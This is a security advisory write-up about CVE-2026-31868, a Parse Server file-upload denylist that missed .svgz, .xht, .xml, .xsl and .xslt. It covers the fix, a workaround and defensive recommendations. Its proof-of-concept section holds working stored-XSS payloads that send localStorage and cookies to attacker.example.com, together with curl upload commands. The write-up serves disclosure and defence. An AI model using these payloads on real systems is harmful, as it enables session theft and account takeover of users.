TL;DR — Remember CVE-2026-30948, where Parse Server's denylist blocked HTML but forgot about SVG? They patched it by adding .svg to the denylist. Problem is, SVG isn't the only HTML-renderable file type browsers will happily execute JavaScript from. Extensions like .svgz, .xht, .xml, .xsl, and .xslt — plus the content types application/xhtml+xml and application/xslt+xml for extensionless uploads — all still get through. Same impact as before: stored XSS, session token theft, full account takeover. The SVG fix was a single round of denylist whack-a-mole. This is round two. Assigned CVE-2026-31868 (CVSS 6.3, Medium).

why this matters: denylist whack-a-mole

I wrote about this exact risk in the CVE-2026-30948 advisory. Denylists are a losing game when the question is “which file types can execute JavaScript in a browser?” The answer keeps growing, and every time you miss one, you have a vulnerability.

After CVE-2026-30948, the Parse Server denylist looked like this:

// After the SVG fix: blocks HTML variants AND SVG
/^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG])$)/

Blocked: .html, .htm, .shtml, .xhtml, .svg. Not blocked: everything else that browsers render as active content. And there are more of those than most people realize.

This is the fundamental problem with denylists for file upload security. You're not enumerating a finite set of safe things — you're trying to enumerate an expanding set of dangerous things. You will always be one step behind.

root cause: incomplete denylist after the SVG fix

The SVG fix addressed one file type but didn't audit the full set of browser-renderable formats that carry the same risk. Here's what was still allowed through:

ExtensionContent TypeWhy it's dangerous
.svgzimage/svg+xmlGzip-compressed SVG — browsers decompress and render it identically to .svg
.xhtapplication/xhtml+xmlXHTML shorthand extension — full HTML+JS execution
.xmlapplication/xmlCan contain embedded XSLT stylesheets with <script> blocks
.xslapplication/xslt+xmlXSLT stylesheet — can include <script> elements in output
.xsltapplication/xslt+xmlSame as .xsl, alternate extension

On top of these, extensionless file uploads with content types application/xhtml+xml or application/xslt+xml also bypass the extension-based denylist entirely — because there is no extension to check.

Every one of these formats, when served inline from the Parse Server origin, lets the browser execute embedded JavaScript with full access to that origin's cookies, localStorage, and sessionStorage.

exploit PoCs

SVGZ: compressed SVG, same XSS

SVGZ is just gzip-compressed SVG. Browsers handle the decompression transparently when the server responds with Content-Encoding: gzip or when the .svgz extension is recognized. The payload is identical to the SVG exploit from CVE-2026-30948, just compressed:

<!-- malicious.svg (before compression) -->
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <text x="10" y="50" font-size="12">Loading chart...</text>
  <script>
    var keys = Object.keys(localStorage);
    var stolen = {};
    for (var i = 0; i < keys.length; i++) {
      stolen[keys[i]] = localStorage.getItem(keys[i]);
    }
    new Image().src = "https://attacker.example.com/collect?data="
      + encodeURIComponent(JSON.stringify(stolen));
  </script>
</svg>
# Compress the SVG to SVGZ
gzip -c malicious.svg > malicious.svgz

# Upload — .svgz passes the denylist
curl -X POST "http://localhost:1337/parse/files/chart-q4.svgz" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:attacker_session" \
  -H "Content-Type: image/svg+xml" \
  --data-binary '@malicious.svgz'
# Returns: {"url":"http://localhost:1337/parse/files/APP_ID/abc123_chart-q4.svgz","name":"abc123_chart-q4.svgz"}

The .svg denylist entry doesn't match .svgz. Parse Server accepts and serves the file. Browser decompresses, renders the SVG, executes the script. Same result as CVE-2026-30948 — session tokens exfiltrated, account takeover.

XSLT: the one nobody thinks about

XSLT stylesheets are XML documents that can contain <script> elements in their output. When a browser processes an XML file that references an XSLT stylesheet (or when the XSLT itself is served directly with the right content type), it will execute embedded JavaScript:

<!-- malicious.xslt -->
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns="http://www.w3.org/1999/xhtml">

  <xsl:template match="/">
    <html>
      <body>
        <h1>Report</h1>
        <script>
          var keys = Object.keys(localStorage);
          var stolen = {};
          for (var i = 0; i < keys.length; i++) {
            stolen[keys[i]] = localStorage.getItem(keys[i]);
          }
          new Image().src = "https://attacker.example.com/collect?data="
            + encodeURIComponent(JSON.stringify(stolen));
        </script>
      </body>
    </html>
  </xsl:template>
</xsl:stylesheet>
# Upload XSLT — completely bypasses the denylist
curl -X POST "http://localhost:1337/parse/files/report-style.xslt" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:attacker_session" \
  -H "Content-Type: application/xslt+xml" \
  --data-binary '@malicious.xslt'

And for the XML vector, you can embed the XSLT inline with a processing instruction so the browser transforms and renders it:

<!-- malicious.xml — self-transforming XML with embedded XSLT -->
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="#stylesheet"?>
<root>
  <xsl:stylesheet id="stylesheet" version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns="http://www.w3.org/1999/xhtml">
    <xsl:template match="/">
      <html>
        <body>
          <p>Loading data...</p>
          <script>
            document.location = "https://attacker.example.com/steal?"
              + document.cookie;
          </script>
        </body>
      </html>
    </xsl:template>
  </xsl:stylesheet>
  <data>nothing to see here</data>
</root>

XHT: XHTML by another name

The .xht extension is a lesser-known shorthand for XHTML. Browsers serve it with application/xhtml+xml and process it as full XHTML — scripts and all:

<!-- malicious.xht -->
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>Report</title></head>
  <body>
    <p>Loading...</p>
    <script>
      var s = JSON.stringify(localStorage);
      new Image().src = "https://attacker.example.com/c?d=" + encodeURIComponent(s);
    </script>
  </body>
</html>
# Upload .xht — the denylist blocks .xhtml but not .xht
curl -X POST "http://localhost:1337/parse/files/quarterly-report.xht" \
  -H "X-Parse-Application-Id: APP_ID" \
  -H "X-Parse-REST-API-Key: REST_KEY" \
  -H "X-Parse-Session-Token: r:attacker_session" \
  -H "Content-Type: application/xhtml+xml" \
  --data-binary '@malicious.xht'

The denylist regex matches xhtml but not xht. Two extra characters in the extension would have blocked it. They weren't there.

impact

ImpactDetail
Stored XSSMalicious files persist on the server and execute on every view, across multiple file types
Session token theftJavaScript in uploaded files reads Parse session tokens from localStorage
Account takeoverStolen session tokens grant full read/write access to victim accounts
User redirectionAttacker can redirect victims to phishing or malware pages from a trusted origin
Action on behalf of usersAttacker can perform any action the victim can: read data, modify records, delete objects
Bypass of prior fixCVE-2026-30948 patched SVG; this bypasses that fix entirely using related file types
Default configurationAll deployments with file upload enabled (the default) for authenticated users are affected

The attack surface here is actually broader than CVE-2026-30948 because there are five additional extensions and two content types to exploit, not just one. And because these file types are more obscure (.svgz? .xslt?), they're less likely to be caught by custom security rules or WAFs that administrators may have deployed after the SVG fix.

affected versions

BranchAffectedPatched
Parse Server 9.x9.0.0 through < 9.6.0-alpha.49.6.0-alpha.4
Parse Server 8.x< 8.6.308.6.30

the fix

The patch adds the missing file extensions and content types to the default fileUpload.fileExtensions denylist. After the fix, the full set of blocked types is:

Blocked extensions (complete list post-patch):

.html  .htm  .shtml  .xhtml  .svg     ← already blocked before this CVE
.svgz  .xht  .xml    .xsl    .xslt    ← added by this fix

Blocked content types for extensionless uploads:

application/xhtml+xml    ← added by this fix
application/xslt+xml     ← added by this fix

Workaround: If you can't update immediately, configure the fileUpload.fileExtensions server option to block the affected types manually:

// In your Parse Server configuration — block all HTML-renderable types
{
  fileUpload: {
    fileExtensions: [
      '^(?!([xXsS]?[hH][tT][mM][lL]?|[sS][vV][gG][zZ]?|[xX][hH][tT]|[xX][mM][lL]|[xX][sS][lL][tT]?)$)'
    ]
  }
}

the broader pattern: denylists vs. allowlists for file uploads

I said it in the CVE-2026-30948 writeup and I'll say it again: this is what happens when you use a denylist for file upload security.

The original denylist blocked HTML. Then SVG slipped through and we got CVE-2026-30948. They added SVG. Now SVGZ, XHT, XML, XSL, and XSLT slipped through and we have CVE-2026-31868. The pattern is predictable — plug one hole, find two more.

This is not a criticism of the Parse Server maintainers specifically. Denylists are structurally the wrong tool for this job. The set of file types that can execute JavaScript in a browser includes at least:

  • HTML and all its variants (.html, .htm, .shtml, .xhtml, .xht)
  • SVG and compressed SVG (.svg, .svgz)
  • XML-based formats (.xml, .xsl, .xslt)
  • Potentially: .mht, .mhtml, .webarchive, and whatever browsers decide to support next

And those are just the ones we know about today. Browsers evolve. New content types get added. New rendering behaviors emerge. A denylist that's complete today may not be complete tomorrow.

An allowlist flips the problem. Instead of asking “which file types are dangerous?” (unbounded, evolving set), you ask “which file types does my application actually need?” (bounded, known set). If your app handles image uploads, allow .png, .jpg, .gif, .webp. Documents? Add .pdf, .docx. Everything else gets rejected by default. New weird browser-renderable format appears? Doesn't matter — it's not on the allowlist.

Beyond the extension check, defense-in-depth measures that would break the exploit chain regardless of file type:

  • Separate origin for file serving: Serve uploaded files from a dedicated domain (e.g., files.example.com instead of api.example.com). JavaScript in a malicious file executes in the file-serving origin, which has no access to the application's cookies or localStorage.
  • Content-Disposition: attachment: Force the browser to download files instead of rendering them inline. No rendering means no script execution.
  • Restrictive Content-Security-Policy: Disable inline script execution on file responses. Even if the browser renders the file, CSP blocks the embedded JavaScript.
  • X-Content-Type-Options: nosniff: Prevent the browser from MIME-type sniffing and potentially rendering content it shouldn't.

Any one of these would have prevented both CVE-2026-30948 and this vulnerability. All of them together is the right answer. The denylist is the last line of defense, not the only one.

disclosure timeline

DateEvent
Mar 10, 2026Vulnerability reported to parse-community via GitHub Security Advisory
Mar 10, 2026Maintainer confirmed vulnerability as follow-up to CVE-2026-30948
Mar 10, 2026CVE-2026-31868 assigned by GitHub (GHSA-v5hf-f4c3-m5rv)
Mar 10, 2026Patched versions released (9.6.0-alpha.4, 8.6.30)

This vulnerability was reported through responsible disclosure to the parse-community security team.